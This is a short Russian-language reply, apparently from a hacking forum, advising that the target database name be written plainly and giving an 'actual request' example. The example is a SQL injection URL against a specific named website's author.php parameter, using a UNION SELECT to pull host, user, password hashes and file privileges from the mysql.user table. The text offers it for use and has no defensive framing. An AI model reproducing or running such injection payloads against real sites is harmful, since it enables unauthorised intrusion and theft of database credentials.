Название БД в которую обращаешься, должно быть в чистом виде

в вашем случае пример актуального запроса:

_ttp://actachemscand.dk/author.php?aid=1126+and+1=0+union+select+1,2,conca t_ws(0x3a,host,user,password,file_priv),4+from+mys ql.user+--+